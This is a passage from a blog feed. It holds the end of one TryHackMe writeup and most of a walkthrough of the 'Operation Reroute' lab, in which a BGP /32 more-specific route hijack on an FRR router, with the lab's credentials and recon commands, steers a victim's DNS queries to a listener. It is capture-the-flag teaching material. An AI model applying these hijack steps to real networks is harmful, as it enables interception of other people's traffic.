&lt;strong&gt;&lt;code&gt;.bak&lt;/code&gt; in the webroot:&lt;/strong&gt; remove source backups; they turn a crypto bug into a trivial one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak salt handling:&lt;/strong&gt; the salt is public and taken from attacker input; use a CSPRNG and a
proper MAC instead.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Gotchas
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GET /&lt;/code&gt; redirects to &lt;code&gt;/&lt;/code&gt; forever until cookies are stored — use a cookie jar or a client that
doesn't follow redirects (&lt;code&gt;urllib&lt;/code&gt; without a jar raises "infinite loop").&lt;/li&gt;
&lt;li&gt;The cookie is URL-encoded (&lt;code&gt;%2F&lt;/code&gt;), so &lt;code&gt;urllib.parse.unquote()&lt;/code&gt; before slicing 13-char blocks.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;index.php.bak&lt;/code&gt; is the only useful backup; &lt;code&gt;config.php&lt;/code&gt; is a live empty 200.&lt;/li&gt;
&lt;li&gt;No privesc or SSH stage exists in this room — both questions are answered from the web app.&lt;/li&gt;
&lt;li&gt;Python 3.13+ has no &lt;code&gt;crypt&lt;/code&gt; module; &lt;code&gt;ctypes.CDLL("libcrypt.so.1")&lt;/code&gt; matches PHP's DES &lt;code&gt;crypt()&lt;/code&gt;
exactly (&lt;code&gt;crypt("guest:Mo","Ad") == "AdSleedEWCRK2"&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>writeup</category>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>security</category>
    </item>
    <item>
      <title>THM Operation Reroute — Full Walkthrough</title>
      <dc:creator>Muhammad Saad</dc:creator>
      <pubDate>Sat, 24 Oct 2026 09:07:57 +0000</pubDate>
      <link>https://dev.to/muhammad_saad_ce88b4330bf/thm-operation-reroute-full-walkthrough-531d</link>
      <guid>https://dev.to/muhammad_saad_ce88b4330bf/thm-operation-reroute-full-walkthrough-531d</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fskopn8epux87e4bp3f1g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fskopn8epux87e4bp3f1g.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Hard · &lt;strong&gt;Type:&lt;/strong&gt; network lab (GNS3 containers) — BGP route hijacking&lt;br&gt;
&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;10.112.133.199&lt;/code&gt; (jumpbox telnet 6001) — authorized lab only&lt;br&gt;
&lt;strong&gt;Objective (scope.md):&lt;/strong&gt; &lt;em&gt;After hijacking the route, DNS1 starts receiving queries from the victim.&lt;br&gt;
What is the internal domain name the victim is trying to resolve?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm&lt;/code&gt;&lt;br&gt;
(the leftmost label base64-decodes to &lt;code&gt;THM{BGP_is_my_middle_name}&lt;/code&gt;)&lt;/p&gt;


&lt;h2&gt;
  
  
  0. Tooling used in this walkthrough
&lt;/h2&gt;

&lt;p&gt;The jumpbox is a bare GNS3 container: &lt;strong&gt;no &lt;code&gt;sshpass&lt;/code&gt;, no &lt;code&gt;paramiko&lt;/code&gt;/&lt;code&gt;pexpect&lt;/code&gt;, no &lt;code&gt;nc&lt;/code&gt;, no&lt;br&gt;
&lt;code&gt;tcpdump&lt;/code&gt;, no &lt;code&gt;pip&lt;/code&gt;, and no internet&lt;/strong&gt;. Every helper below is therefore a small stdlib-only Python&lt;br&gt;
script kept in &lt;code&gt;tools/&lt;/code&gt; next to this writeup. None of them are needed to follow the methodology —&lt;br&gt;
they only bridge the missing plumbing.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Script&lt;/th&gt;
&lt;th&gt;Runs on&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tools/tn.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;your host&lt;/td&gt;
&lt;td&gt;Telnet client for the jumpbox on port 6001. The jumpbox exposes &lt;strong&gt;one shared, persistent bash shell&lt;/strong&gt;, so a naive "send command → sleep → read" mixes output between commands. This wrapper appends a unique &lt;code&gt;echo &amp;lt;token&amp;gt;&lt;/code&gt; and reads until the token comes back twice, proving the command finished. Usage: &lt;code&gt;python3 tools/tn.py '&amp;lt;shell command&amp;gt;'&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tools/kssh.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;Runs &lt;strong&gt;one&lt;/strong&gt; command on the router over SSH by allocating a pty and typing the password when &lt;code&gt;Password:&lt;/code&gt; appears — a stand-in for &lt;code&gt;sshpass&lt;/code&gt;, which is not installed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tools/kssh2.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;Same idea, but accepts a `\&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;{% raw %}&lt;code&gt;tools/kvtysh.py&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;Interactive variant used when entering &lt;strong&gt;configuration mode&lt;/strong&gt; (&lt;code&gt;configure&lt;/code&gt; → changes → &lt;code&gt;end&lt;/code&gt;), where state must persist across prompts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tools/dnscap.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;jumpbox&lt;/td&gt;
&lt;td&gt;The capture point: a ~60-line stdlib UDP listener on &lt;code&gt;0.0.0.0:53&lt;/code&gt; that parses the QNAME out of every query, logs it to &lt;code&gt;/tmp/dnscap.log&lt;/code&gt;, and replies with a synthetic A record so the client stops retrying. Stands in for &lt;code&gt;tcpdump&lt;/code&gt;/&lt;code&gt;dnscap&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Standard tools were also used unmodified: &lt;code&gt;nmap&lt;/code&gt; (host/port discovery), &lt;code&gt;dig&lt;/code&gt; (DNS&lt;br&gt;
fingerprinting), &lt;code&gt;base64&lt;/code&gt; (pushing helpers and decoding the captured label), &lt;code&gt;ip&lt;/code&gt; (interface/route&lt;br&gt;
state), and &lt;code&gt;wc&lt;/code&gt;/&lt;code&gt;sed&lt;/code&gt;/&lt;code&gt;sort&lt;/code&gt;/&lt;code&gt;uniq&lt;/code&gt; to aggregate the capture log.&lt;/p&gt;

&lt;p&gt;Two environment facts drove this design, and are worth stating up front:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The router has no shell.&lt;/strong&gt; SSH lands you in FRR's &lt;code&gt;vtysh&lt;/code&gt; CLI, so capturing packets &lt;em&gt;on the
router&lt;/em&gt; is impossible — everything had to be observed from the jumpbox.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The jumpbox has no internet&lt;/strong&gt;, so no package could be installed; the helpers use only the
Python standard library.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  1. Scenario
&lt;/h2&gt;

&lt;p&gt;A Kali "implant" has been planted inside TryRouteMe's (TRM) network. The stated goal is to spy on a&lt;br&gt;
VIP user, but that user turns out &lt;strong&gt;not&lt;/strong&gt; to be a TRM customer. The victim's DNS resolver is&lt;br&gt;
Doogle's DNS at &lt;code&gt;10.10.10.10&lt;/code&gt;, and "there is more than one server with such an IP in the world."&lt;br&gt;
We only have access to TRM's router. The task is to work out how to hijack traffic we are not on&lt;br&gt;
the path for, and read the victim's DNS requests.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Methodology
&lt;/h2&gt;

&lt;p&gt;The approach was driven by one question: &lt;strong&gt;where can I actually observe the victim's DNS query?&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;What I did&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0. Classify&lt;/td&gt;
&lt;td&gt;Checked &lt;code&gt;machine-solver/reference/labs/&lt;/code&gt; and &lt;code&gt;reference/challenges/&lt;/code&gt; for a prior note on this target — none existed, so this is a &lt;strong&gt;new&lt;/strong&gt; solve. Classified it as a full network lab (not a single-category CTF challenge).&lt;/td&gt;
&lt;td&gt;Avoid re-solving blind / avoid overwriting an existing note.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1. Recon the foothold&lt;/td&gt;
&lt;td&gt;Logged into the jumpbox, mapped its interfaces/routes/tooling.&lt;/td&gt;
&lt;td&gt;Establish what is reachable and what tooling exists before assuming anything.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. Map the routing&lt;/td&gt;
&lt;td&gt;SSH'd to the router, dumped &lt;code&gt;running-config&lt;/code&gt;, BGP table, and the routes received from / advertised to the peer.&lt;/td&gt;
&lt;td&gt;The clue is routing-based ("another ISP", "more than one server with such an IP"), so the BGP table is the primary evidence.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. Form the hypothesis&lt;/td&gt;
&lt;td&gt;Noticed &lt;code&gt;10.10.10.0/24&lt;/code&gt; is announced by &lt;strong&gt;two ASNs&lt;/strong&gt; → prefix collision. Concluded the only lever is longest-prefix-match, i.e. a more specific &lt;code&gt;/32&lt;/code&gt;.&lt;/td&gt;
&lt;td&gt;Explains the hint and rules out "same /24" approaches.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. Test observability&lt;/td&gt;
&lt;td&gt;Probed DNS1 (&lt;code&gt;10.10.10.10&lt;/code&gt;) and the router to see if the query could be read in place.&lt;/td&gt;
&lt;td&gt;A hijack is useless if you cannot read the result — establish the observation point &lt;em&gt;before&lt;/em&gt; exploiting.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5. Exploit&lt;/td&gt;
&lt;td&gt;Widened the outbound prefix-list, added a static &lt;code&gt;/32&lt;/code&gt;, originated &lt;code&gt;network 10.10.10.10/32&lt;/code&gt;, verified it appeared in &lt;code&gt;advertised-routes&lt;/code&gt;.&lt;/td&gt;
&lt;td&gt;Longest-prefix-match hijack of the victim's DNS destination.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6. Capture&lt;/td&gt;
&lt;td&gt;Steered the hijacked prefix to the jumpbox, claimed &lt;code&gt;10.10.10.10&lt;/code&gt; locally, ran a minimal DNS listener.&lt;/td&gt;
&lt;td&gt;Neither the router (vtysh-only) nor DNS1 (dnsmasq, no upstream) is observable — so &lt;em&gt;become&lt;/em&gt; the destination.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7. Decode + document&lt;/td&gt;
&lt;td&gt;Read the QNAME, base64-decoded the label, recorded the solve.&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two dead ends worth naming, because they shaped the plan:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The router is not a capture point.&lt;/strong&gt; SSH gives FRR's vtysh CLI on both &lt;code&gt;192.168.1.1&lt;/code&gt; and
&lt;code&gt;10.10.10.1&lt;/code&gt;; there is no shell, so no &lt;code&gt;tcpdump&lt;/code&gt;. Port &lt;code&gt;2623/tcp&lt;/code&gt; is just the same vty.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS1 is not a capture point.&lt;/strong&gt; It is &lt;code&gt;dnsmasq-2.90&lt;/code&gt;, answers &lt;code&gt;version.bind CH TXT&lt;/code&gt;, has no
working upstream (external lookups time out) and exposes only &lt;code&gt;tcp/53&lt;/code&gt;. Nothing to read there.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  3. Access and topology
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;telnet 10.112.133.199 6001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This drops straight into a &lt;strong&gt;bash shell as root on &lt;code&gt;kali-1&lt;/code&gt;&lt;/strong&gt; (a GNS3 container — &lt;code&gt;/tmp/gns3/bin/&lt;/code&gt;&lt;br&gt;
is present). It has &lt;strong&gt;no internet&lt;/strong&gt;: its resolver is the in-lab dnsmasq, so &lt;code&gt;apt-get install&lt;/code&gt;&lt;br&gt;
fails with &lt;code&gt;Temporary failure resolving 'http.kali.org'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Available: &lt;code&gt;dig&lt;/code&gt;, &lt;code&gt;nslookup&lt;/code&gt;, &lt;code&gt;host&lt;/code&gt;, &lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;python3&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;.&lt;br&gt;
Missing: &lt;code&gt;sshpass&lt;/code&gt;, &lt;code&gt;paramiko&lt;/code&gt;, &lt;code&gt;pexpect&lt;/code&gt;, &lt;code&gt;pip&lt;/code&gt;, &lt;code&gt;nc&lt;/code&gt;, &lt;code&gt;tcpdump&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kali-1       192.168.1.100/24   gw 192.168.1.1      (resolv.conf -&amp;gt; 10.10.10.10)
TTM-CORE-01  192.168.1.1/24     eth0                (LAN)
             10.1.1.1/30        eth1  -&amp;gt; BGP peer 10.1.1.2 (AS 2222)
             10.10.10.1/24      eth2  -&amp;gt; DNS1 = dnsmasq 2.90 at 10.10.10.10
peer router  192.168.2.1 (AS 2222), announces 192.168.2.0/24
victim       192.168.2.100      no open TCP ports; only emits DNS queries
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only &lt;code&gt;10.10.10.1&lt;/code&gt; and &lt;code&gt;10.10.10.10&lt;/code&gt; are alive on the &lt;code&gt;10.10.10.0/24&lt;/code&gt; segment; &lt;code&gt;192.168.2.0/24&lt;/code&gt;&lt;br&gt;
contains &lt;code&gt;192.168.2.1&lt;/code&gt; (the AS 2222 router) and &lt;code&gt;192.168.2.100&lt;/code&gt; (the victim).&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Recon — commands run
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;On the jumpbox&lt;/strong&gt; (every line below was issued through a small telnet runner, &lt;code&gt;tools/tn.py&lt;/code&gt;,&lt;br&gt;
which wraps the target command as &lt;code&gt;python3 tools/tn.py '&amp;lt;command&amp;gt;'&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'id; hostname; uname -a; pwd; ls -la'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'ip a; echo "=== ROUTES ==="; ip r; echo "=== ARP ==="; ip neigh'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'for t in dig nslookup host nmap nc tcpdump python3 pip3 curl wget; do printf "%s: " $t; command -v $t || echo MISSING; done'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'cat /etc/hosts; cat /etc/resolv.conf; hostname'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'ls -la /root/.ssh; pip3 list; which expect screen tmux msfconsole'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key output: root on &lt;code&gt;kali-1&lt;/code&gt;, &lt;code&gt;eth0 192.168.1.100/24&lt;/code&gt;, &lt;code&gt;default via 192.168.1.1&lt;/code&gt;, and&lt;br&gt;
&lt;code&gt;/etc/resolv.conf -&amp;gt; nameserver 10.10.10.10&lt;/code&gt; (the jumpbox itself resolves through DNS1).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reaching the router.&lt;/strong&gt; There is no &lt;code&gt;sshpass&lt;/code&gt;/&lt;code&gt;paramiko&lt;/code&gt;/&lt;code&gt;pexpect&lt;/code&gt; on the jumpbox, so SSH was&lt;br&gt;
driven from Python over a pty. The helper was pushed by base64, then invoked as&lt;br&gt;
&lt;code&gt;python3 /tmp/kssh2.py &amp;lt;password&amp;gt; &amp;lt;host&amp;gt; "&amp;lt;line1&amp;gt;|&amp;lt;line2&amp;gt;|..."&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# push the helper&lt;/span&gt;
&lt;span class="nv"&gt;B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt; tools/kssh2.py&lt;span class="si"&gt;)&lt;/span&gt;
python3 tools/tn.py &lt;span class="s2"&gt;"echo &lt;/span&gt;&lt;span class="nv"&gt;$B64&lt;/span&gt;&lt;span class="s2"&gt; | base64 -d &amp;gt; /tmp/kssh2.py; chmod +x /tmp/kssh2.py; wc -l /tmp/kssh2.py"&lt;/span&gt;

&lt;span class="c"&gt;# interactive vtysh driver (same pattern)&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "show version|show daemons|exit"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Router enumeration&lt;/strong&gt; (vtysh commands, one SSH session per batch):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show|enable|configure|exit|quit"'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show running-config|exit"'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show bgp summary|show ip route|exit"'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show bgp ipv4 unicast neighbors 10.1.1.2 routes|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|show bgp ipv4 unicast|exit"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;show daemons&lt;/code&gt; → &lt;code&gt;mgmtd zebra bgpd watchfrr staticd&lt;/code&gt; (so static routes are available).&lt;br&gt;
&lt;code&gt;show running-config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;router bgp 1111
 no bgp enforce-first-as
 neighbor 10.1.1.2 remote-as 2222
 address-family ipv4 unicast
  network 10.10.10.0/24
  network 192.168.1.0/24
  redistribute connected
  neighbor 10.1.1.2 prefix-list bgp-in in     ! permit any
  neighbor 10.1.1.2 prefix-list bgp-out out   ! permit 192.168.1.0/24, 10.10.10.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Routes received from the peer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;show bgp ipv4 unicast neighbors 10.1.1.2 routes

 *  10.10.10.0/24    10.1.1.2            0 2222 3333 i    &amp;lt;- the REAL Doogle DNS network
 *&amp;gt; 192.168.2.0/24   10.1.1.2            0 2222 i
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Host/service discovery from the jumpbox:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'ping -c 2 -W 2 10.10.10.10; nmap -Pn -sT -p 22,53,80,443,8080,8000,3000,5000 --open -T4 10.10.10.10'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'nmap -sn 10.10.10.0/24'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 10.10.10.10'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 10.10.10.1'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'nmap -sn 192.168.2.0/24'&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 192.168.2.1 192.168.2.100'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Results: &lt;code&gt;10.10.10.10&lt;/code&gt; → only &lt;code&gt;53/tcp&lt;/code&gt;; &lt;code&gt;10.10.10.1&lt;/code&gt; (router eth2) → &lt;code&gt;22, 179, 2623&lt;/code&gt;;&lt;br&gt;
&lt;code&gt;192.168.2.0/24&lt;/code&gt; → &lt;code&gt;192.168.2.1&lt;/code&gt; (BGP + vtysh) and &lt;code&gt;192.168.2.100&lt;/code&gt; (nothing open — this is the&lt;br&gt;
victim). A ping sweep showed only &lt;code&gt;.1&lt;/code&gt; and &lt;code&gt;.10&lt;/code&gt; live on the &lt;code&gt;10.10.10.0/24&lt;/code&gt; segment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Probing DNS1&lt;/strong&gt; (to see whether it could be an observation point):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'dig @10.10.10.10 version.bind CH TXT'&lt;/span&gt;      &lt;span class="c"&gt;# -&amp;gt; "dnsmasq-2.90", aa&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'dig @10.10.10.10 . NS +time=3 +tries=1'&lt;/span&gt;    &lt;span class="c"&gt;# -&amp;gt; timed out&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'dig @10.10.10.10 google.com +time=3 +tries=1'&lt;/span&gt;  &lt;span class="c"&gt;# -&amp;gt; timed out&lt;/span&gt;
python3 tools/tn.py &lt;span class="s1"&gt;'dig @10.10.10.10 probe-test.internal +time=3 +tries=1'&lt;/span&gt;  &lt;span class="c"&gt;# -&amp;gt; timed out&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It answers only local names — no upstream — and exposes only tcp/53. Confirmed dead end.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. The insight — a prefix collision
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;10.10.10.0/24&lt;/code&gt; is announced by &lt;strong&gt;two different ASNs&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AS 1111&lt;/strong&gt; — TTM itself, where the prefix is directly connected on &lt;code&gt;eth2&lt;/code&gt; (our copy of the
Doogle DNS address, &lt;code&gt;DNS1&lt;/code&gt; = dnsmasq at &lt;code&gt;10.10.10.10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AS 3333&lt;/strong&gt; — the genuine Doogle DNS network, reached through the peer as &lt;code&gt;2222 3333&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is what "more than one server with such an IP in the world" means. The victim's traffic to&lt;br&gt;
&lt;code&gt;10.10.10.10&lt;/code&gt; currently follows the legitimate AS 3333 route, so simply having the same /24&lt;br&gt;
locally changes nothing upstream. Because we cannot reach the victim's ISP directly, the only&lt;br&gt;
lever is &lt;strong&gt;longest-prefix-match&lt;/strong&gt;: advertise a more specific &lt;code&gt;/32&lt;/code&gt; for &lt;code&gt;10.10.10.10&lt;/code&gt; from AS 1111.&lt;/p&gt;
&lt;h2&gt;
  
  
  6. Hijack — originate 10.10.10.10/32
&lt;/h2&gt;

&lt;p&gt;First attempt (advertising only) — which failed, and why it mattered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "configure|ip prefix-list bgp-out seq 30 permit 10.10.10.10/32|router bgp 1111|address-family ipv4 unicast|network 10.10.10.10/32|exit-address-family|end|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|exit"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;advertised-routes&lt;/code&gt; still showed only the two &lt;code&gt;/24&lt;/code&gt;s. &lt;code&gt;show bgp ipv4 unicast&lt;/code&gt; explained it — the&lt;br&gt;
&lt;code&gt;/32&lt;/code&gt; appeared with &lt;strong&gt;no status character at all&lt;/strong&gt; (not valid), because FRR's BGP import-check&lt;br&gt;
requires an exact RIB entry and the connected &lt;code&gt;/24&lt;/code&gt; does not satisfy a &lt;code&gt;/32&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Working sequence (add the RIB entry, which doubles as the steering rule, then re-check):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/tn.py &lt;span class="s1"&gt;'python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "configure|ip route 10.10.10.10/32 192.168.1.100|router bgp 1111|address-family ipv4 unicast|network 10.10.10.10/32|end|show ip route 10.10.10.10/32|show bgp ipv4 unicast|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|exit"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verification:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;show ip route 10.10.10.10/32
  Routing entry for 10.10.10.10/32
    Known via "static", distance 1, metric 0, best
    * 192.168.1.100, via eth0

show bgp ipv4 unicast
 *&amp;gt; 10.10.10.10/32   0.0.0.0      0   32768 i

show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes
 *&amp;gt; 10.10.10.0/24     0.0.0.0   0  32768 i
 *&amp;gt; 10.10.10.10/32    0.0.0.0   0  32768 i
 *&amp;gt; 192.168.1.0/24    0.0.0.0   0  32768 i
 Total number of prefixes 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Two things bit here:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;network 10.10.10.10/32&lt;/code&gt; on its own is &lt;strong&gt;invalid&lt;/strong&gt; and never advertised — FRR needs an exact
RIB entry, and a connected &lt;code&gt;/24&lt;/code&gt; is not enough. The static &lt;code&gt;/32&lt;/code&gt; fixes it.&lt;/li&gt;
&lt;li&gt;The outbound prefix-list &lt;code&gt;bgp-out&lt;/code&gt; only permitted the two &lt;code&gt;/24&lt;/code&gt;s, so the &lt;code&gt;/32&lt;/code&gt; would have been
silently filtered even once valid. &lt;code&gt;seq 30&lt;/code&gt; widens it.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  7. Capture — become the &lt;code&gt;10.10.10.10&lt;/code&gt; server
&lt;/h2&gt;

&lt;p&gt;With the router and DNS1 both ruled out as observation points, the traffic had to be brought to&lt;br&gt;
the jumpbox. The capture server (&lt;code&gt;tools/dnscap.py&lt;/code&gt;) was pushed by base64 like the SSH helpers; it&lt;br&gt;
is a ~60-line stdlib UDP listener on &lt;code&gt;0.0.0.0:53&lt;/code&gt; that parses the QNAME out of each packet, logs&lt;br&gt;
it, and returns a synthetic A record so the client stops retrying.&lt;br&gt;
&lt;/p&gt;

